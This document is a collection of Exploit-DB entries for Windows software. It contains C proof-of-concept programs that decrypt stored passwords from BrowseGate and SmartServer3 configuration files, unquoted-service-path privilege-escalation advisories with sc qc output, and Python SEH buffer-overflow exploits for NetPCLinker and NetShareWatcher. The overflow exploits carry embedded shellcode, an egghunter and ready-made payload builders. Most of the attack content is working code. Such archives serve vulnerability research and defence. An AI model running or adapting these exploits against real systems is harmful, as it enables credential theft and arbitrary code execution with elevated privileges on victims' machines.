deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20409
Description: NetcPlus BrowseGate 2.80.2 - Weak Encryption
Type: local
Platform: windows
Date: 2000-11-18
Author: Steven Alexander

Exploit:
/*
source: https://www.securityfocus.com/bid/1964/info

BrowseGate is a proxy server which supports most standard protocols.

A design error exists in BrowseGate which enables an authenticated user to view other users encrypted passwords. BrowseGate by default intalls in the C:\ProgramFiles\browsegate/ directory and includes a configuration file called brwgate.ini. This file is accessible by all Windows authenticated users and contains the encrypted password. The password is presented in the 'scrnsze' field. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility.

Successful exploitation of this vulnerability will lead to unauthorized access to private data.
*/


/* This is proof of concept code for decrypting password from BrowseGate =
by NetCplus */
#include <stdio.h>


int main() {

unsigned char start[8] = { 0x27, 0x41, 0x72, 0x4a, 0x47, 0x75, 0x4b, =
0x3a };
unsigned char hash[8] = { '%', '}', 'S', 'p', '%', 'g', 'Z', '(' } ;
/* Enter the encrypted password into hash above */
unsigned char except[8] = { '~', ':', 'k', 'C', '@', 'n', 'D', '3' };
unsigned char ex_order[7] = { 't', 'm', 'O', 'L', 's', 'B', 'R' };
unsigned char pass[8];
unsigned char i;
unsigned char range;

if(hash[0] >= '!' && hash[0] <= '&')
  hash[0]=(hash[0] - 0x20) + 0x7e;
for(i=0;i<8;i++) {
  if(hash[i] >= except[i] && hash[i] <= (except[i] + 6) ) {
    pass[i]=ex_order[ (hash[i] - except[i]) ]; }
  else {
    if(hash[i] < start[i]) {
      hash[i]+=0x5e;
      }
      pass[i]=hash[i] - start[i] + '!';

    if(pass[i] >= 'B')
    pass[i]+=1;
  if(pass[i] >= 'L')
    pass[i]+=1;
  if(pass[i] >= 'O')
    pass[i]+=1;
  if(pass[i] >= 'R')
    pass[i]+=1;
  if(pass[i] >= 'm')
    pass[i]+=1;
    if(pass[i] >= 's')
      pass[i]+=1;
  if(pass[i] >= 't')
    pass[i]+=1;

  }
}

printf("The password is:\n\t");
for(i=0;i<8;i++) {
  printf("%c ", pass[i]);
}
printf("\n");
return 0;
}
Exploit-DB #20407
Description: NetcPlus SmartServer3 3.75 - Weak Encryption
Type: local
Platform: windows
Date: 2000-11-18
Author: Steven Alexander

Exploit:
/*
source: https://www.securityfocus.com/bid/1962/info

SmartServer3 is an email server designed for small networks.

A design error exists in SmartServer3 which enables an authenticated user to view other users login information and possibly gain access to passwords. SmartServer3 by default intsalls in the C:\ProgramFiles\smartserver3/ directory and includes a configuration file called dialsrv.ini. This file is accessible by all Windows authenticated users and contains detailed user login information including the encrypted password. However SmartServer3 uses a weak encryption scheme which can easily be broken using a third party utility.

Successful exploitation yields unauthorized access to private data.

The following example of user login information found in the dialsrv.ini file is provided by Steven Alexander <steve@cell2000.net>:

[USER1]
realname=Carl Jones
id=Carl
dir=CARL
pw=~:kC@nD3~:
extml=0
alertport=
alert=
UserActive=1
MailLimit=0
MailMAxWarn=0
MailMaxSize=20
*/


#include <stdio.h>

#define DIGIT 0
#define UPPER 1
#define LOWER 2
#define DEFAULT 3

void main() {
unsigned char start_table[4][8] = {
{ 0x30, 0x4a, 0x7b, 0x53, 0x50, 0x7e, 0x54, 0x43 },
{ 0x41, 0x5b, 0x2e, 0x64, 0x61, 0x31, 0x65, 0x54 },
{ 0x60, 0x7a, 0x4d, 0x25, 0x22, 0x50, 0x26, 0x73 },
{ 0x7e, 0x3a, 0x6b, 0x43, 0x40, 0x6e, 0x44, 0x33} };

unsigned char uname = 0x46;  /* Just the first character from DIR= =
entry */
unsigned char hash[8] = { 'E', '1', 'U', '0', 't', 'b', '*', '&' } ;
unsigned char pass[8];
unsigned char i;
unsigned char range;

if(uname >= 0x30 && uname <=39) {
  for(i=0;i<=7;i++) {
    hash[i]+=1; }
  }

for(i=0;i<8;i++) {
  if(hash[i] == start_table[DEFAULT][i]) {
    pass[i] = uname;
    continue; }

  range=LOWER;  /* hash values wrap to  0x21 after 0x7e */
  if(hash[i] >= start_table[DIGIT][i] && hash[i] <= =
(start_table[DIGIT][i] + 0x0a))
    range = DIGIT;
  if(hash[i] >= start_table[UPPER][i] && hash[i] <= =
(start_table[UPPER][i] + 0x1a))
    range=UPPER;
  if(hash[i] >= start_table[LOWER][i] && hash[i] <= =
(start_table[LOWER][i] + 0x1a))
    range=LOWER;

  if(range==DIGIT) {
    if(i==2 || i==5) {
      if(hash[i] < 0x73) {
        hash[i] = hash[i] + 0x5e; } }
  pass[i] = ( hash[i] - start_table[DIGIT][i] ) + 0x30; }

  if(range==UPPER) {
    pass[i] = ( hash[i] - start_table[UPPER][i] ) + 0x41;
  if(pass[i] >= uname)
    pass[i]+=1; }

  if(range==LOWER) {
    if(i==1 || i ==7) {
      if(hash[i] < 0x73) {
        hash[i] = hash[i] + 0x5e; } }
  pass[i] = ( hash[i] - start_table[LOWER][i] ) + 0x61; }

}

printf("The password is:\n\t");
for(i=0;i<8;i++) {
  printf("%c ", pass[i]);
}
printf("\n");

}
Exploit-DB #40422
Description: NetDrive 2.6.12 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-26
Author: Tulpa

Exploit:
# Exploit Title: NetDrive 2.6.12 Unquoted Service Path Elevation of Privilege
# Date: 24/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.netdrive.net/
# Software Link: http://www.netdrive.net/download
# Version: 2.6.12
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

NetDrive installs a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc Netdrive2_Service_Netdrive2
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Netdrive2_Service_Netdrive2
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NetDrive2\nd2svc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NetDrive2_Service_NetDrive2
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #40540
Description: NETGATE AMITI Antivirus 23.0.305 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-15
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: NETGATE AMITI Antivirus Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=11
# Version : build 23.0.305  (Latest)
# Tested on: Windows 7
##########################################################################

AMITI Antivirus installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>sc qc AmitiAvHealth
[SC] QueryServiceConfig SUCCESS
----------------------------------------------------
SERVICE_NAME: AmitiAvHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47746
Description: NETGATE Data Backup 3.0.620 - 'NGDatBckpSrv' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-12-05
Author: ZwX

Exploit:
#Exploit Title: NETGATE Data Backup 3.0.620 - 'NGDatBckpSrv' Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-12-04
#Vendor Homepage : http://www.netgate.sk/
#Link Software : http://www.netgate.sk/download/download.php?id=5
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc NGDatBckpSrv
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Data Backup\DataBackupSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #40541
Description: NETGATE Data Backup build 3.0.605 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-15
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: NETGATE Data Backup Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link:
http://www.netgate.sk/download/download.php?id=5
#version : build 3.0.605  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Data Backup installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Data
Backup\DataBackupSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #40539
Description: NETGATE Registry Cleaner 16.0.205 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-15
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=4
# Version : build 16.0.205  (Latest)
# Tested on: Windows 7
##########################################################################

NETGATE Registry Cleaner installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc NGRegClnSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGRegClnSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Registry
Cleaner\RegistryCleanerSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGATE Registry Cleaner Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #40442
Description: Netgear Genie 2.4.32 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-30
Author: Tulpa

Exploit:
# Exploit Title: Netgear Genie 2.4.32 Unquoted Service Path Elevation of Privilege
# Date: 30/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: www.netgear.com
# Software Link: https://www.netgear.com/home/discover/apps/genie.aspx?

cid=wmt_netgear_organic
# Version: Software Version 2.4.32
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

Netgear Genie installs a service called 'NETGEARGenieDaemon' with an unquoted service

path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\Program Files>sc qc NETGEARGenieDaemon
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NETGEARGenieDaemon
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGEAR Genie\bin\NETGEARGenieDaemon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGEARGenieDaemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #50443
Description: Netgear Genie 2.4.64 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-10-25
Author: Mert Daş

Exploit:
# Exploit Title: Netgear Genie 2.4.64 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 2.4.64
# Date: 23.10.2021
# Vendor Homepage: https://www.netgear.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc NETGEARGenieDaemon
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NETGEARGenieDaemon
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\NETGEAR
Genie\bin\NETGEARGenieDaemon64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NETGEARGenieDaemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """


#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #48680
Description: NetPCLinker 1.0.0.0 - Buffer Overflow (SEH Egghunter)
Type: local
Platform: windows
Date: 2020-07-22
Author: Saeed reza Zamanian

Exploit:
# Exploit Title: NetPCLinker 1.0.0.0 - Buffer Overflow (SEH Egghunter)
# Date: 2019-06-28
# Exploit Author: Saeed reza Zamanian
# Vendor Homepage: https://sourceforge.net/projects/netpclinker/
# Software Link: https://sourceforge.net/projects/netpclinker/files/
# Version: 1.0.0.0
# Tested on: Windows Vista SP1

#!/usr/bin/python

'''
# Replicate Crash:
  1) Install and Run the application
  2) Go to second tab "Clients Control Panel"
  3) Press Add button
  4) Run the exploit , the exploit creates a text file named payload.txt
  5) Copy payload.txt contents into the add client dialog , "DNS/IP" field
  6) Press OK . Your shellcode will be executed by pressing OK button.

'''

#msfvenom -p windows/exec CMD=calc -f c -b "\x00\x0a\x0d\x33\x35\x36"
#Bad Characters : \x0a\x0d\x33\x35\x36

shellcode = (
"\xdb\xc4\xd9\x74\x24\xf4\x5b\xbe\x9a\x32\x43\xd2\x31\xc9\xb1"
"\x30\x83\xc3\x04\x31\x73\x14\x03\x73\x8e\xd0\xb6\x2e\x46\x96"
"\x39\xcf\x96\xf7\xb0\x2a\xa7\x37\xa6\x3f\x97\x87\xac\x12\x1b"
"\x63\xe0\x86\xa8\x01\x2d\xa8\x19\xaf\x0b\x87\x9a\x9c\x68\x86"
"\x18\xdf\xbc\x68\x21\x10\xb1\x69\x66\x4d\x38\x3b\x3f\x19\xef"
"\xac\x34\x57\x2c\x46\x06\x79\x34\xbb\xde\x78\x15\x6a\x55\x23"
"\xb5\x8c\xba\x5f\xfc\x96\xdf\x5a\xb6\x2d\x2b\x10\x49\xe4\x62"
"\xd9\xe6\xc9\x4b\x28\xf6\x0e\x6b\xd3\x8d\x66\x88\x6e\x96\xbc"
"\xf3\xb4\x13\x27\x53\x3e\x83\x83\x62\x93\x52\x47\x68\x58\x10"
"\x0f\x6c\x5f\xf5\x3b\x88\xd4\xf8\xeb\x19\xae\xde\x2f\x42\x74"
"\x7e\x69\x2e\xdb\x7f\x69\x91\x84\x25\xe1\x3f\xd0\x57\xa8\x55"
"\x27\xe5\xd6\x1b\x27\xf5\xd8\x0b\x40\xc4\x53\xc4\x17\xd9\xb1"
"\xa1\xe8\x93\x98\x83\x60\x7a\x49\x96\xec\x7d\xa7\xd4\x08\xfe"
"\x42\xa4\xee\x1e\x27\xa1\xab\x98\xdb\xdb\xa4\x4c\xdc\x48\xc4"
"\x44\xbf\x0f\x56\x04\x40"
)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x65\x7a\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
nSEH = '\xEB\xAA\x90\x90' #Jump Back

# (Vista)
# PPR(ecx)  : 0x00494b67 : startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [NPL.exe] 
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.0 (C:\Program Files\NetPCLinker\NPL.exe)

SEH =  '\x67\x4b\x49'
offset = "RezaReza"+shellcode +'\x41'*(1199-8-len(shellcode)-len(egghunter)-50)

payload = offset+egghunter+"\x90"*50+nSEH+SEH

try:
    f=open("payload.txt","w")
    print("[+] Creating %s bytes payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #46578
Description: NetShareWatcher 1.5.8.0 - Local SEH Buffer Overflow
Type: local
Platform: windows
Date: 2019-03-20
Author: Peyman Forouzan

Exploit:
# Exploit Title: NetShareWatcher 1.5.8.0 - SEH Buffer Overflow
# Date: 2019-03-19
# Vendor Homepage: http://netsharewatcher.nsauditor.com
# Software Link:  http://netsharewatcher.nsauditor.com/downloads/NetShareWatcher_setup.exe
# Exploit Author: Peyman Forouzan
# Tested Version: 1.5.8.0
# Tested on: Windows XP SP2 - SP3

# 1- Run python code : NetShareWatcher.py
# 2- Open Exploit.txt and copy content to clipboard
# 3- Open NetShareWatcher
# 4- Setting --> Defaults --> Restrictions --> Add --> Custome
# 5- Paste the content of Exploit.txt into the box
# 6- Click 'Find'
# 7- Calc.exe Open ( Can be replaced with Shellcode )

#!/usr/bin/python

buffer = "\x41" * 262
nseh = "\xeb\x14\x90\x90"  # Overwrite Next Seh With Short jmp
seh = "\x90\xBF\xC9\x74"   # Overwrite Seh / pop esi pop ebx retn [OLEACC.dll]
nops = "\x90" * 20

# Calc.exe payload [size 227]
buf =""
buf += "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
buf += "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"
buf += "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"
buf += "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"
buf += "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
buf += "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"
buf += "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"
buf += "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
buf += "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
buf += "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
buf += "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
buf += "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
buf += "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
buf += "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
buf += "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
buf += "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
buf += "\x9a\xca\xc0";

payload = buffer + nseh + seh + nops + buf
try:
    f=open("Exploit.txt","w")
    print "[+] Creating %s bytes payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File can't be created"
Exploit-DB #47584
Description: Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-05
Author: Samuel DiazL

Exploit:
# Exploit Title: Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path
# Date: 2019-11-04
# Exploit Author: Samuel DiazL
# Vendor Homepage: https://www.network-inventory-advisor.com/
# Software Link: https://www.network-inventory-advisor.com/download.html
# Version: 5.0.26.0
# Tested on: Microsoft Windows 10 Enterprise x64 ESP
# CVE: N/A

# Description:
# Network Inventory Advisor installs niaservice as a service with an unquoted service path

C:\Users\SD502812>sc qc niaservice
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: niaservice
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ClearApps\Network Inventory Advisor\niaservice.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Network Inventory Advisor Service by ClearApps Software
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem